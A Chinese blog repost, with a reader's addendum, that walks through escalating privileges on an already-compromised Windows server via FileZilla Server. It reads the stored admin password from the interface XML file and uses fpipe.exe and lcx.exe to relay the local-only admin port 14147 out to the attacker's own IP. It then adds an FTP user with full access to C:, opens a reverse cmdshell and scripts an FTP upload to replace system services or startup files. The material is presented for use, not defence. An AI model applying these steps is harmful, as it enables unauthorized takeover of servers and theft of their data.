欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

曲折的FileZilla Server提权之路

程序员文章站 2022-05-07 07:59:07
明白以上三点后现在就是尝试如何连接到服务器上的FileZilla Server。首先查看FileZilla Server Interface.xml中的内容... 12-06-29...

首先明确一下以下三个要素:

一、filezilla server安装路径,为得到filezilla server interface.xml文件提供条件。
二、本地filezilla server要与服务器版本兼容,不然会提示版本不同,协议错误。
三、filezilla server中filezilla server interface.xml文件保存了管理口令。
明白以上三点后现在就是尝试如何连接到服务器上的filezilla server。
首先查看filezilla server interface.xml中的内容


复制代码
代码如下:

<filezillaserver>
<settings>
<item name="last server address" type="string">127.0.0.1</item>
<item name="last server port" type="numeric">14147</item>
<item name="last server password" type="string">qwertyu</item>
<item name="always use last server" type="numeric">0</item>
<item name="user sorting" type="numeric">0</item>
</settings>
</filezillaserver>

name="last server address" type="string"
127.0.0.1为服务器ip,此处默认定义为127.0.0.1绑定在本地,不是绑定在0.0.0.0所以只能本地连接上去。
name="last server port" type="numeric"
14147为filezilla server管理连接端口,默认值14147
name="last server password" type="string"
qwertyu为管理口令,此处口令为安装时自定义,要在此文件中得到口令必须在配置中勾取保存口令选项。
现在说说实际中比较bt的状况如何处理。
服务器对外只开放80,得到权限为webshell,服务器唯一安装第三方软件为filezilla server。数据库为ms-sql2005,无systemadmin权限账户,现有数据库账户为db权限,禁止了一切与数据库有关的备份功能。
测试网络环境,对外开放80,shell中netstat -an中看到有21,80,1433,3389三个外部端口,内部端口有14147。经测试发现,除80端口外其余全部无法连接。
如上情况下,要取得服务器权限能用到的只能是filezilla server。当然,从外部看,服务器确实十分健硕,但从内部看的话还是有机可乘的。首先明确下第一目的,首先要做的是得到filezilla server的管理权限,但是filezilla server的管理端口绑定在127.0.0.1:14147上,外部是无法访问到的。
要得到外部访问权限我们可以用lcx开发的lcx.exe端口反弹转发程序实现,但是在现实测试的时候发现filezilla server对于网络环境要求非常之高,这也是filezilla server的访问协议造成的,直接用lcx.exe转发是极不稳定的(在光纤环境下测试也连接不上)。再者网上的唯一一份filezilla server提权教程中提到了fpipe.exe程序。fpipe.exe程序为实现端口转发功能而开发的,其作用可将本地端口监听数据转发功能。在当前 条件下,即使将本地绑定端口转发到外部端口也是连接不上的,估计是硬防。
现在可以知道环境是极其bt的,寻找突破的道路是需要发掘的,我的方法是,用fpipe.exe将14147端口转发到外部其他端口,再用lcx.exe 将fpipe.exe端口转发出来。fpipe.exe -v -l 1234 -r 14147 127.0.0.1。本地lcx.exe -listen 1234 14147。服务器上lcx.exe -slave 本机ip 1234 服务器ip 1234。这样就能实现本地连接了,但是还是对网络环境要求很高的。
然后本地连接上filezilla server管理,然后添加一个ftp用户,用户目录设置为c:勾取所有权限操作选项。filezilla server添加ftp用户的工作就结束了。
现在是提升权限的问题了,filezilla server不比serv-u,可以quote site exec执行dos命令(不知道是不行还是有其他参数可以实现,我不懂...)要实现提权的话可以ftp登录上去操作文件管理,如替换系统服务、替换系统 文件、将程序置于启动目录等等。
现在的问题是服务器开放了21端口,但是外部是不能访问的,ftp端口转发出来也不稳定,极易断开。现在办法是直接从服务器上登录服务器ftp。反弹一个cmdshell,然后写个ftp自动处理脚本
open 127.0.0.1 21
user
pass
put soft.exe 存放目录
bye
然后本地ftp.exe -s:ftp.txt就能实现本地上传本地了。就此,以filezilla server提升权限也实现了。
 

下面其他网友的补充:

filezilla server应该好多牛人都知道怎么提权的了吧,很简单的,我再啰嗦一次
管理员密码以及端口都是保存在filezilla server interface.xml文件里的
filezilla server interface.xml内容大致如下

<filezillaserver>
<settings>
<item name="last server port" type="numeric">14147</item>
<item name="last server password" type="cool"/>
<item name="always use last server" type="numeric">1</item>
<item name="user sorting" type="numeric">0</item>
<item name="last server address" type="string">127.0.0.1</item>
</settings>
</filezillaserver>

端口是14147 密码是cool 其中14147是管理端口 例如su的43859一样

filezilla server.xml文件是保存ftp用户密码用的 filezilla server.xml用户密码是32位加密的md5
filezilla server.xml大致内容如下:

 

<filezillaserver>
<settings>
<item name="admin port" type="numeric">14147</item>
</settings>
<groups/>
<users>
<user name="abc">
<option name="pass">900150983cd24fb0d6963f7d28e17f72</option>
<option name="group"/>
<option name="bypass server userlimit">0</option>
<option name="user limit">0</option>
<option name="ip limit">0</option>
<option name="enabled">1</option>
<option name="comments"/>
<option name="forcessl">0</option>
<ipfilter>
<disallowed/>
<allowed/>
</ipfilter>
<permissions>
<permission dir="e:">
<option name="fileread">1</option>
<option name="filewrite">1</option>
<option name="filedelete">1</option>
<option name="fileappend">0</option>
<option name="dircreate">1</option>
<option name="dirdelete">1</option>
<option name="dirlist">1</option>
<option name="dirsubdirs">1</option>
<option name="ishome">1</option>
<option name="autocreate">0</option>
</permission>
</permissions>
<speedlimits dltype="0" dllimit="10" serverdllimitbypass="0" ultype="0" ullimit="10" serverullimitbypass="0">
<download/>
<upload/>
</speedlimits>
<user name="abc">是用户名 <option name="pass">900150983cd24fb0d6963f7d28e17f72</option> 是用户密码
<permission dir="e:">
<option name="fileread">1</option>
<option name="filewrite">1</option>
<option name="filedelete">1</option>
<option name="fileappend">0</option>
<option name="dircreate">1</option>
<option name="dirdelete">1</option>
<option name="dirlist">1</option>
<option name="dirsubdirs">1</option>
<option name="ishome">1</option>
<option name="autocreate">0</option>

该用户的权限
好了下面介绍下怎么利用吧,只需要把14147端口转发出去,然后利用管理密码登陆进去添加用户即可
演示一下好了
把端口转发出去

曲折的FileZilla Server提权之路

再本地打开filezilla server输入ip端口密码

曲折的FileZilla Server提权之路

表示成功了

曲折的FileZilla Server提权之路

剩下的自己可以添加ftp用户为所欲为了,关于怎么添加用户我不啰嗦了,很简单的,实在不会就去下载个中文版的就好了